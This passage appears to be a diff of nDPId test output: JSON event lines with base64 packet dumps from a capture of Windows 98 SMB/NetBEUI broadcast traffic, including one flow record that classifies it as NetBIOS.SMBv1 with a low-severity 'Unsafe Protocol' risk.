type","datalink":1,"packet_id":158,"source":"dos_win98_smb_netbeui.pcap","alias":"nDPId-test","layer_type":18,"global_ts_usec":1576409898941801} -00367{"packet_event_id":1,"packet_event_name":"packet","packet_id":158,"source":"dos_win98_smb_netbeui.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":60,"pkt_type":18,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":60,"pkt_l4_len":0,"thread_ts_usec":1576409897749849,"pkt":"AFBWM3ieAAwp1HmyABLw8C4iDgD\/7xQAAAAoAAAAFQP\/U01CBgAAAAAAAAAAAAAAAAAAAAAAAAAAyHUF"} -00199{"error_event_id":5,"error_event_name":"Unknown packet type","datalink":1,"packet_id":160,"source":"dos_win98_smb_netbeui.pcap","alias":"nDPId-test","layer_type":4,"global_ts_usec":1576409899293810} -00365{"packet_event_id":1,"packet_event_name":"packet","packet_id":160,"source":"dos_win98_smb_netbeui.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":60,"pkt_type":4,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":60,"pkt_l4_len":0,"thread_ts_usec":1576409899251619,"pkt":"AAwp1HmyAFBWM3ieAATw8QEwIwAAAIARtrrAqO+BwKjv\/wCJAIkATG6mAAooEAABAAAAAAABIEZIRVBG"} -00200{"error_event_id":5,"error_event_name":"Unknown packet type","datalink":1,"packet_id":164,"source":"dos_win98_smb_netbeui.pcap","alias":"nDPId-test","layer_type":75,"global_ts_usec":1576409903670409} -00411{"packet_event_id":1,"packet_event_name":"packet","packet_id":164,"source":"dos_win98_smb_netbeui.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":89,"pkt_type":75,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":89,"pkt_l4_len":0,"thread_ts_usec":1576409903041832,"pkt":"AFBWM3ieAAwp1HmyAEvw8DAiDgD\/7xYEAAAAABEAFQP\/U01CgQAAAAAAAAAAAAAAAAAAAAAAAAAAyHUFAAAhAgIUAAgAEgAEXD8\/Pz8\/Pz8\/Lj8\/PwAFAAA="} -00199{"error_event_id":5,"error_event_name":"Unknown packet type","datalink":1,"packet_id":165,"source":"dos_win98_smb_netbeui.pcap","alias":"nDPId-test","layer_type":4,"global_ts_usec":1576409903670550} -00365{"packet_event_id":1,"packet_event_name":"packet","packet_id":165,"source":"dos_win98_smb_netbeui.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":60,"pkt_type":4,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":60,"pkt_l4_len":0,"thread_ts_usec":1576409903041832,"pkt":"AAwp1HmyAFBWM3ieAATw8QEyAP\/vCAAAAAAAAABXT1JLR1JPVVAgICAgICAdTURKUjk4ICAgICAgICAg"} -00200{"error_event_id":5,"error_event_name":"Unknown packet type","datalink":1,"packet_id":166,"source":"dos_win98_smb_netbeui.pcap","alias":"nDPId-test","layer_type":53,"global_ts_usec":1576409903670651} -00379{"packet_event_id":1,"packet_event_name":"packet","packet_id":166,"source":"dos_win98_smb_netbeui.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":67,"pkt_type":53,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":67,"pkt_l4_len":0,"thread_ts_usec":1576409903041832,"pkt":"AAwp1HmyAFBWM3ieADXw8CIyDgD\/7xYMAAARACgAAxX\/U01CgQEAEgCAAAAAAAAAAAAAAAAAAAAAyHUFAAAhAgAAAA=="} -00200{"error_event_id":5,"error_event_name":"Unknown packet type","datalink":1,"packet_id":167,"source":"dos_win98_smb_netbeui.pcap","alias":"nDPId-test","layer_type":62,"global_ts_usec":1576409903671761} -00391{"packet_event_id":1,"packet_event_name":"packet","packet_id":167,"source":"dos_win98_smb_netbeui.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":76,"pkt_type":62,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":76,"pkt_l4_len":0,"thread_ts_usec":1576409903041832,"pkt":"AFBWM3ieAAwp1HmyAD7w8DIkDgD\/7xYMAAAoABIAFQP\/U01CgQAAAAAAAAAAAAAAAAAAAAAAAAAAyHUFAABBAgIUAAAABQAEAAUAAA=="} -00199{"error_event_id":5,"error_event_name":"Unknown packet type","datalink":1,"packet_id":168,"source":"dos_win98_smb_netbeui.pcap","alias":"nDPId-test","layer_type":4,"global_ts_usec":1576409903671851} -00366{"packet_event_id":1,"packet_event_name":"packet","packet_id":168,"source":"dos_win98_smb_netbeui.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":60,"pkt_type":4,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":60,"pkt_l4_len":0,"thread_ts_usec":1576409903041832,"pkt":"AAwp1HmyAFBWM3ieAATw8QE0DgD\/7xYMAAAOACgAAxX\/U01CEAEAAwCAAAAAAAAAAAAAAAAAAAAAyHUF"} -00200{"error_event_id":5,"error_event_name":"Unknown packet type","datalink":1,"packet_id":169,"source":"dos_win98_smb_netbeui.pcap","alias":"nDPId-test","layer_type":53,"global_ts_usec":1576409903671904} -00379{"packet_event_id":1,"packet_event_name":"packet","packet_id":169,"source":"dos_win98_smb_netbeui.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":67,"pkt_type":53,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":67,"pkt_l4_len":0,"thread_ts_usec":1576409903041832,"pkt":"AAwp1HmyAFBWM3ieADXw8CQ0DgD\/7xYMAAASACgAAxX\/U01CgQEAEgCAAAAAAAAAAAAAAAAAAAAAyHUFAABBAgAAAA=="} -00200{"error_event_id":5,"error_event_name":"Unknown packet type","datalink":1,"packet_id":170,"source":"dos_win98_smb_netbeui.pcap","alias":"nDPId-test","layer_type":75,"global_ts_usec":1576409903672058} -00411{"packet_event_id":1,"packet_event_name":"packet","packet_id":170,"source":"dos_win98_smb_netbeui.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":89,"pkt_type":75,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":89,"pkt_l4_len":0,"thread_ts_usec":1576409903041832,"pkt":"AFBWM3ieAAwp1HmyAEvw8DQmDgD\/7xYMAAAoABMAFQP\/U01CgQAAAAAAAAAAAAAAAAAAAAAAAAAAyHUFAABhAgIUABYAEgAEXD8\/Pz8\/Pz8\/Lj8\/PwAFAAA="} -00199{"error_event_id":5,"error_event_name":"Unknown packet type","datalink":1,"packet_id":171,"source":"dos_win98_smb_netbeui.pcap","alias":"nDPId-test","layer_type":4,"global_ts_usec":1576409903672135} -00365{"packet_event_id":1,"packet_event_name":"packet","packet_id":171,"source":"dos_win98_smb_netbeui.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":60,"pkt_type":4,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":60,"pkt_l4_len":0,"thread_ts_usec":1576409903041832,"pkt":"AAwp1HmyAFBWM3ieAATw8QE2DgD\/7xeBvAUDABUAAxXvAgCJAIkATAvHAAQpAAABAAAAAAABIEVORUVF"} -00201{"error_event_id":5,"error_event_name":"Unknown packet type","datalink":1,"packet_id":172,"source":"dos_win98_smb_netbeui.pcap","alias":"nDPId-test","layer_type":187,"global_ts_usec":1576409903672211} -00569{"packet_event_id":1,"packet_event_name":"packet","packet_id":172,"source":"dos_win98_smb_netbeui.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":201,"pkt_type":187,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":201,"pkt_l4_len":0,"thread_ts_usec":1576409903041832,"pkt":"AAwp1HmyAFBWM3ieALvw8CY2DgD\/7xYMAAATACgAAxX\/U01CgQAAAACAAAAAAAAAAAAAAAAAAAAAyHUFAABhAgEDAIQABYEAgz8\/Pz8\/Pz8\/Pz8\/FgAAAQAAAAAAECpjj08AAAAALgAgICAgICAAAAAAAIM\/Pz8\/Pz8\/Pz8\/PxYBAAEAAAAAABAqY49PAAAAAC4uACAgICAgAAAAAACDPz8\/Pz8\/Pz8\/Pz8WAgABAAAAAAAQyWSPTwAAAABURVNUACAgIAAAAAAA"} -00200{"error_event_id":5,"error_event_name":"Unknown packet type","datalink":1,"packet_id":173,"source":"dos_win98_smb_netbeui.pcap","alias":"nDPId-test","layer_type":83,"global_ts_usec":1576409903677279} -00423{"packet_event_id":1,"packet_event_name":"packet","packet_id":173,"source":"dos_win98_smb_netbeui.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":97,"pkt_type":83,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":97,"pkt_l4_len":0,"thread_ts_usec":1576409903041832,"pkt":"AFBWM3ieAAwp1HmyAFPw8DYoDgD\/7xYMAAAoABQAFQP\/U01CgQAAAAAAAAAAAAAAAAAAAAAAAAAAyHUFAACBAgIUAAAAGgAEAAUVAIM\/Pz8\/Pz8\/Pz8\/PxYCAAEAgwAAAQ=="} -00199{"error_event_id":5,"error_event_name":"Unknown packet type","datalink":1,"packet_id":174,"source":"dos_win98_smb_netbeui.pcap","alias":"nDPId-test","layer_type":4,"global_ts_usec":1576409903677421} -00365{"packet_event_id":1,"packet_event_name":"packet","packet_id":174,"source":"dos_win98_smb_netbeui.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":60,"pkt_type":4,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":60,"pkt_l4_len":0,"thread_ts_usec":1576409903041832,"pkt":"AAwp1HmyAFBWM3ieAATw8QE4AP\/vCAAAAAAAAABXT1JLR1JPVVAgICAgICAeTURKUjk4ICAgICAgICAg"} -00200{"error_event_id":5,"error_event_name":"Unknown packet type","datalink":1,"packet_id":175,"source":"dos_win98_smb_netbeui.pcap","alias":"nDPId-test","layer_type":53,"global_ts_usec":1576409903677504} -00379{"packet_event_id":1,"packet_event_name":"packet","packet_id":175,"source":"dos_win98_smb_netbeui.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":67,"pkt_type":53,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":67,"pkt_l4_len":0,"thread_ts_usec":1576409903041832,"pkt":"AAwp1HmyAFBWM3ieADXw8Cg4DgD\/7xYMAAAUACgAAxX\/U01CgQEAEgCAAAAAAAAAAAAAAAAAAAAAyHUFAACBAgAAAA=="} -00200{"error_event_id":5,"error_event_name":"Unknown packet type","datalink":1,"packet_id":176,"source":"dos_win98_smb_netbeui.pcap","alias":"nDPId-test","layer_type":53,"global_ts_usec":1576409903679586} -00379{"packet_event_id":1,"packet_event_name":"packet","packet_id":176,"source":"dos_win98_smb_netbeui.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":67,"pkt_type":53,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":67,"pkt_l4_len":0,"thread_ts_usec":1576409903041832,"pkt":"AFBWM3ieAAwp1HmyADXw8DgqDgD\/7xYMAAAoABUAFQP\/U01CgAAAAAAAAAAAAAAAAAAAAAAAAAAAyHUFAAChAgAAAA=="} -00199{"error_event_id":5,"error_event_name":"Unknown packet type","datalink":1,"packet_id":177,"source":"dos_win98_smb_netbeui.pcap","alias":"nDPId-test","layer_type":4,"global_ts_usec":1576409903679667} -00365{"packet_event_id":1,"packet_event_name":"packet","packet_id":177,"source":"dos_win98_smb_netbeui.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":60,"pkt_type":4,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":60,"pkt_l4_len":0,"thread_ts_usec":1576409903041832,"pkt":"AAwp1HmyAFBWM3ieAATw8QE6AP\/vCAAAAAAAAABXT1JLR1JPVVAgICAgICAeTURKUjk4ICAgICAgICAg"} -00200{"error_event_id":5,"error_event_name":"Unknown packet type","datalink":1,"packet_id":178,"source":"dos_win98_smb_netbeui.pcap","alias":"nDPId-test","layer_type":63,"global_ts_usec":1576409903679733} -00393{"packet_event_id":1,"packet_event_name":"packet","packet_id":178,"source":"dos_win98_smb_netbeui.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":77,"pkt_type":63,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":77,"pkt_l4_len":0,"thread_ts_usec":1576409903041832,"pkt":"AAwp1HmyAFBWM3ieAD\/w8Co6DgD\/7xYMAAAVACgAAxX\/U01CgAAAAACAAAAAAAAAAAAAAAAAAAAAyHUFAAChAgVq\/wABAAJ2+AAAAAA="} -00200{"error_event_id":5,"error_event_name":"Unknown packet type","datalink":1,"packet_id":179,"source":"dos_win98_smb_netbeui.pcap","alias":"nDPId-test","layer_type":18,"global_ts_usec":1576409903737930} -00367{"packet_event_id":1,"packet_event_name":"packet","packet_id":179,"source":"dos_win98_smb_netbeui.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":60,"pkt_type":18,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":60,"pkt_l4_len":0,"thread_ts_usec":1576409903041832,"pkt":"AFBWM3ieAAwp1HmyABLw8DosDgD\/7xQAAAAoAAAAFQP\/U01CgQAAAAAAAAAAAAAAAAAAAAAAAAAAyHUF"} -00199{"error_event_id":5,"error_event_name":"Unknown packet type","datalink":1,"packet_id":180,"source":"dos_win98_smb_netbeui.pcap","alias":"nDPId-test","layer_type":4,"global_ts_usec":1576409903738050} -00365{"packet_event_id":1,"packet_event_name":"packet","packet_id":180,"source":"dos_win98_smb_netbeui.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":60,"pkt_type":4,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":60,"pkt_l4_len":0,"thread_ts_usec":1576409903041832,"pkt":"AAwp1HmyAFBWM3ieAATw8QE8AP\/vCAAAAAAAAABXT1JLR1JPVVAgICAgICAeTURKUjk4ICAgICAgICAg"} -00200{"error_event_id":5,"error_event_name":"Unknown packet type","datalink":1,"packet_id":184,"source":"dos_win98_smb_netbeui.pcap","alias":"nDPId-test","layer_type":60,"global_ts_usec":1576409905957339} -00387{"packet_event_id":1,"packet_event_name":"packet","packet_id":184,"source":"dos_win98_smb_netbeui.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":74,"pkt_type":60,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":74,"pkt_l4_len":0,"thread_ts_usec":1576409905313002,"pkt":"AFBWM3ieAAwp1HmyADzw8DwsDgD\/7xYEAAAAABYAFQP\/U01CAQAAAAAAAAAAAAAAAAAAAAAAAAAAyHUFAADBAgAHAARcVEVTVAA="} -00200{"error_event_id":5,"error_event_name":"Unknown packet type","datalink":1,"packet_id":185,"source":"dos_win98_smb_netbeui.pcap","alias":"nDPId-test","layer_type":53,"global_ts_usec":1576409905958005} -00379{"packet_event_id":1,"packet_event_name":"packet","packet_id":185,"source":"dos_win98_smb_netbeui.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":67,"pkt_type":53,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":67,"pkt_l4_len":0,"thread_ts_usec":1576409905313002,"pkt":"AAwp1HmyAFBWM3ieADXw8Cw+DgD\/7xYMAAAWACgAAxX\/U01CAQAAAACAAAAAAAAAAAAAAAAAAAAAyHUFAADBAgAAAA=="} -00200{"error_event_id":5,"error_event_name":"Unknown packet type","datalink":1,"packet_id":186,"source":"dos_win98_smb_netbeui.pcap","alias":"nDPId-test","layer_type":18,"global_ts_usec":1576409906045807} -00367{"packet_event_id":1,"packet_event_name":"packet","packet_id":186,"source":"dos_win98_smb_netbeui.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":60,"pkt_type":18,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":60,"pkt_l4_len":0,"thread_ts_usec":1576409905313002,"pkt":"AFBWM3ieAAwp1HmyABLw8D4uDgD\/7xQAAAAoAAAAFQP\/U01CgQAAAAAAAAAAAAAAAAAAAAAAAAAAyHUF"} -00199{"error_event_id":5,"error_event_name":"Unknown packet type","datalink":1,"packet_id":188,"source":"dos_win98_smb_netbeui.pcap","alias":"nDPId-test","layer_type":4,"global_ts_usec":1576409906373827} -00365{"packet_event_id":1,"packet_event_name":"packet","packet_id":188,"source":"dos_win98_smb_netbeui.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":60,"pkt_type":4,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":60,"pkt_l4_len":0,"thread_ts_usec":1576409906065215,"pkt":"AAwp1HmyAFBWM3ieAATw8QFALAAAAIARrUHAqO+BwKjv\/wCKAIoAxYA7EQIAHMCo74EAigCvAAAgRU5F"} -00200{"error_event_id":5,"error_event_name":"Unknown packet type","datalink":1,"packet_id":194,"source":"dos_win98_smb_netbeui.pcap","alias":"nDPId-test","layer_type":62,"global_ts_usec":1576409908865229} -00391{"packet_event_id":1,"packet_event_name":"packet","packet_id":194,"source":"dos_win98_smb_netbeui.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":76,"pkt_type":62,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":76,"pkt_l4_len":0,"thread_ts_usec":1576409908392441,"pkt":"AFBWM3ieAAwp1HmyAD7w8EAuDgD\/7xYEAAAAABcAFQP\/U01CKwAAAAAAAAAAAAAAAAAAAAAAAAAAyAAyAADhAgEBAAcABEhlbGxvAA=="} -00199{"error_event_id":5,"error_event_name":"Unknown packet type","datalink":1,"packet_id":195,"source":"dos_win98_smb_netbeui.pcap","alias":"nDPId-test","layer_type":4,"global_ts_usec":1576409908865369} -00365{"packet_event_id":1,"packet_event_name":"packet","packet_id":195,"source":"dos_win98_smb_netbeui.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":60,"pkt_type":4,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":60,"pkt_l4_len":0,"thread_ts_usec":1576409908392441,"pkt":"AAwp1HmyAFBWM3ieAATw8QFCAP\/vCAAAAAAAAABXT1JLR1JPVVAgICAgICAeTURKUjk4ICAgICAgICAg"} -00200{"error_event_id":5,"error_event_name":"Unknown packet type","datalink":1,"packet_id":196,"source":"dos_win98_smb_netbeui.pcap","alias":"nDPId-test","layer_type":62,"global_ts_usec":1576409908865432} -00391{"packet_event_id":1,"packet_event_name":"packet","packet_id":196,"source":"dos_win98_smb_netbeui.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":76,"pkt_type":62,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":76,"pkt_l4_len":0,"thread_ts_usec":1576409908392441,"pkt":"AAwp1HmyAFBWM3ieAD7w8C5CDgD\/7xYMAAAXACgAAxX\/U01CKwAAAACAAAAAAAAAAAAAAAAAAAAAyAAyAADhAgEBAAcABEhlbGxvAA=="} 01054{"flow_event_id":4,"flow_event_name":"update","thread_id":0,"packet_id":197,"source":"dos_win98_smb_netbeui.pcap","alias":"nDPId-test","flow_id":4,"flow_state":"finished","flow_src_packets_processed":14,"flow_dst_packets_processed":0,"flow_first_seen":1576409807597015,"flow_src_last_pkt_time":1576409908392441,"flow_dst_last_pkt_time":1576409807597015,"flow_idle_time":200000000,"flow_src_min_l4_payload_len":177,"flow_dst_min_l4_payload_len":0,"flow_src_max_l4_payload_len":201,"flow_dst_max_l4_payload_len":0,"flow_src_tot_l4_payload_len":2610,"flow_dst_tot_l4_payload_len":0,"midstream":0,"thread_ts_usec":1576409908392441,"l3_proto":"ip4","src_ip":"192.168.239.129","dst_ip":"192.168.239.255","src_port":138,"dst_port":138,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":3,"ndpi": {"flow_risk": {"22": {"risk":"Unsafe Protocol","severity":"Low","risk_score": {"total":750,"client":575,"server":175}}},"confidence": {"6":"DPI"},"proto":"NetBIOS.SMBv1","proto_id":"10.16","encrypted":0,"breed":"Dangerous","category_id":18,"category":"System"}} -00200{"error_event_id":5,"error_event_name":"Unknown packet type","datalink":1,"packet_id":197,"source":"dos_win98_smb_netbeui.pcap","alias":"nDPId-test","layer_type":18,"global_ts_usec":1576409908973799} -00367{"packet_event_id":1,"packet_event_name":"packet","packet_id":197,"source":"dos_win98_smb_netbeui.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":60,"pkt_type":18,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":60,"pkt_l4_len":0,"thread_ts_usec":1576409908392441,"pkt":"AFBWM3ieAAwp1HmyABLw8EIwDgD\/7xQAAAAoAAAAFQP\/U01CgQAAAAAAAAAAAAAAAAAAAAAAAAAAyHUF"} -00199{"error_event_id":5,"error_event_name":"Unknown packet type","datalink":1,"packet_id":198,"source":"dos_win98_smb_netbeui.pcap","alias":"nDPId-test","layer_type":4,"global_ts_usec":1576409908973907} -00364{"packet_event_id":1,"packet_event_name":"packet","packet_id":198,"source":"dos_win98_smb_netbeui.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":60,"pkt_type":4,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":60,"pkt_l4_len":0,"thread_ts_usec":1576409908392441,"pkt":"AAwp1HmyAFBWM3ieAATw8QFELwAAAIARq7fAqO+BwKjvAgCJAIkATO+bACIpAAABAAAAAAABIEZIRVBG"} -00200{"error_event_id":5,"error_event_name":"Unknown packet type","datalink":1,"packet_id":199,"source":"dos_win98_smb_netbeui.pcap","alias":"nDPId-test","layer_type":18,"global_ts_usec":1576409909161807} -00366{"packet_event_id":1,"packet_event_name":"packet","packet_id":199,"source":"dos_win98_smb_netbeui.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":60,"pkt_type":18,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":60,"pkt_l4_len":0,"thread_ts_usec":1576409908392441,"pkt":"AAwp1HmyAFBWM3ieABLw8DBEDgD\/7x8AAAAAAAAAAxVLR1JPVVAgICAgICAeTURKUjk4ICAgICAgICAg"} -00199{"error_event_id":5,"error_event_name":"Unknown packet type","datalink":1,"packet_id":200,"source":"dos_win98_smb_netbeui.pcap","alias":"nDPId-test","layer_type":4,"global_ts_usec":1576409909358578} -00366{"packet_event_id":1,"packet_event_name":"packet","packet_id":200,"source":"dos_win98_smb_netbeui.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":60,"pkt_type":4,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":60,"pkt_l4_len":0,"thread_ts_usec":1576409908392441,"pkt":"AFBWM3ieAAwp1HmyAATw8QEyDgD\/7xYEAAAAABYAFQP\/U01CAQAAAAAAAAAAAAAAAAAAAAAAAAAAyHUF"} -00200{"error_event_id":5,"error_event_name":"Unknown packet type","datalink":1,"packet_id":201,"source":"dos_win98_smb_netbeui.pcap","alias":"nDPId-test","layer_type":53,"global_ts_usec":1576409911828356} -00379{"packet_event_id":1,"packet_event_name":"packet","packet_id":201,"source":"dos_win98_smb_netbeui.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":67,"pkt_type":53,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":67,"pkt_l4_len":0,"thread_ts_usec":1576409908392441,"pkt":"AFBWM3ieAAwp1HmyADXw8EQyDgD\/7xYEAAAAABgAFQP\/U01CcQAAAAAAAAAAAAAAAAAAAAAAAAAAyAAyAAABAwAAAA=="} -00200{"error_event_id":5,"error_event_name":"Unknown packet type","datalink":1,"packet_id":202,"source":"dos_win98_smb_netbeui.pcap","alias":"nDPId-test","layer_type":53,"global_ts_usec":1576409911828513} -00379{"packet_event_id":1,"packet_event_name":"packet","packet_id":202,"source":"dos_win98_smb_netbeui.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":67,"pkt_type":53,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":67,"pkt_l4_len":0,"thread_ts_usec":1576409908392441,"pkt":"AAwp1HmyAFBWM3ieADXw8DJGDgD\/7xYMAAAYACgAAxX\/U01CcQAAAACAAAAAAAAAAAAAAAAAAAAAyAAyAAABAwAAAA=="} -00199{"error_event_id":5,"error_event_name":"Unknown packet type","datalink":1,"packet_id":203,"source":"dos_win98_smb_netbeui.pcap","alias":"nDPId-test","layer_type":4,"global_ts_usec":1576409911828650} -00366{"packet_event_id":1,"packet_event_name":"packet","packet_id":203,"source":"dos_win98_smb_netbeui.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":60,"pkt_type":4,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":60,"pkt_l4_len":0,"thread_ts_usec":1576409908392441,"pkt":"AFBWM3ieAAwp1HmyAATw8QE0DgD\/7xYEAAAAABcAFQP\/U01CKwAAAAAAAAAAAAAAAAAAAAAAAAAAyAAy"} -00200{"error_event_id":5,"error_event_name":"Unknown packet type","datalink":1,"packet_id":204,"source":"dos_win98_smb_netbeui.pcap","alias":"nDPId-test","layer_type":18,"global_ts_usec":1576409911828841} -00367{"packet_event_id":1,"packet_event_name":"packet","packet_id":204,"source":"dos_win98_smb_netbeui.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":60,"pkt_type":18,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":60,"pkt_l4_len":0,"thread_ts_usec":1576409908392441,"pkt":"AFBWM3ieAAwp1HmyABLw8EY0DgD\/7xQAAAAoAAAAFQP\/U01CgQAAAAAAAAAAAAAAAAAAAAAAAAAAyHUF"} -00200{"error_event_id":5,"error_event_name":"Unknown packet type","datalink":1,"packet_id":205,"source":"dos_win98_smb_netbeui.pcap","alias":"nDPId-test","layer_type":18,"global_ts_usec":1576409911828940} -00367{"packet_event_id":1,"packet_event_name":"packet","packet_id":205,"source":"dos_win98_smb_netbeui.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":60,"pkt_type":18,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":60,"pkt_l4_len":0,"thread_ts_usec":1576409908392441,"pkt":"AFBWM3ieAAwp1HmyABLw8Eg1DgD\/7xgAAAAAAAAAFQP\/U01CAQAAAAAAAAAAAAAAAAAAAAAAAAAAyHUF"} -00199{"error_event_id":5,"error_event_name":"Unknown packet type","datalink":1,"packet_id":206,"source":"dos_win98_smb_netbeui.pcap","alias":"nDPId-test","layer_type":4,"global_ts_usec":1576409911829009} -00364{"packet_event_id":1,"packet_event_name":"packet","packet_id":206,"source":"dos_win98_smb_netbeui.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":60,"pkt_type":4,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":60,"pkt_l4_len":0,"thread_ts_usec":1576409908392441,"pkt":"AAwp1HmyAFBWM3ieAATw8QFLMAAAAIARqrfAqO+BwKjvAgCJAIkATO+bACIpAAABAAAAAAABIEZIRVBG"} -00199{"error_event_id":5,"error_event_name":"Unknown packet type","datalink":1,"packet_id":207,"source":"dos_win98_smb_netbeui.pcap","alias":"nDPId-test","layer_type":3,"global_ts_usec":1576409911829099} -00366{"packet_event_id":1,"packet_event_name":"packet","packet_id":207,"source":"dos_win98_smb_netbeui.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":60,"pkt_type":3,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":60,"pkt_l4_len":0,"thread_ts_usec":1576409908392441,"pkt":"AFBWM3ieAAwp1HmyAAPw8FMyDgD\/7xYEAAAAABgAFQP\/U01CcQAAAAAAAAAAAAAAAAAAAAAAAAAAyAAy"} -00199{"error_event_id":5,"error_event_name":"Unknown packet type","datalink":1,"packet_id":208,"source":"dos_win98_smb_netbeui.pcap","alias":"nDPId-test","layer_type":3,"global_ts_usec":1576409911829163} -00365{"packet_event_id":1,"packet_event_name":"packet","packet_id":208,"source":"dos_win98_smb_netbeui.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":60,"pkt_type":3,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":60,"pkt_l4_len":0,"thread_ts_usec":1576409908392441,"pkt":"AAwp1HmyAFBWM3ieAAPw8XMwIwAAAIARtrrAqO+BwKjv\/wCJAIkATG6mAAooEAABAAAAAAABIEZIRVBG"} -00201{"error_event_id":5,"error_event_name":"Unknown packet type","datalink":1,"packet_id":209,"source":"dos_win98_smb_netbeui.pcap","alias":"nDPId-test","layer_type":172,"global_ts_usec":1576409912777830} -00537{"packet_event_id":1,"packet_event_name":"packet","packet_id":209,"source":"dos_win98_smb_netbeui.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":186,"pkt_type":172,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":186,"pkt_l4_len":0,"thread_ts_usec":1576409908392441,"pkt":"AwAAAAABAFBWM3ieAKzw8AMsAP\/vCAAAAAAAAAABAl9fTVNCUk9XU0VfXwIBTURKUjk4ICAgICAgICAgAP9TTUIlAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAEQAAJwAAAAAAAAAAAAAAAAAAAAAAAAAnAFYAAwABAAEAAgA4AFxNQUlMU0xPVFxCUk9XU0UADADA1AEAV09SS0dST1VQAAAAAAAAAAQAACBAgAAAAABNREpSOTgA"} -00200{"error_event_id":5,"error_event_name":"Unknown packet type","datalink":1,"packet_id":212,"source":"dos_win98_smb_netbeui.pcap","alias":"nDPId-test","layer_type":47,"global_ts_usec":1576409925058018} +00300{"error_event_id":5,"error_event_name":"Unknown packet type","datalink":1,"threshold_n":1,"threshold_n_max":16,"threshold_time":10000000,"threshold_ts_usec":1576409925058018,"packet_id":212,"source":"dos_win98_smb_netbeui.pcap","alias":"nDPId-test","layer_type":47,"global_ts_usec":1576409925058018} 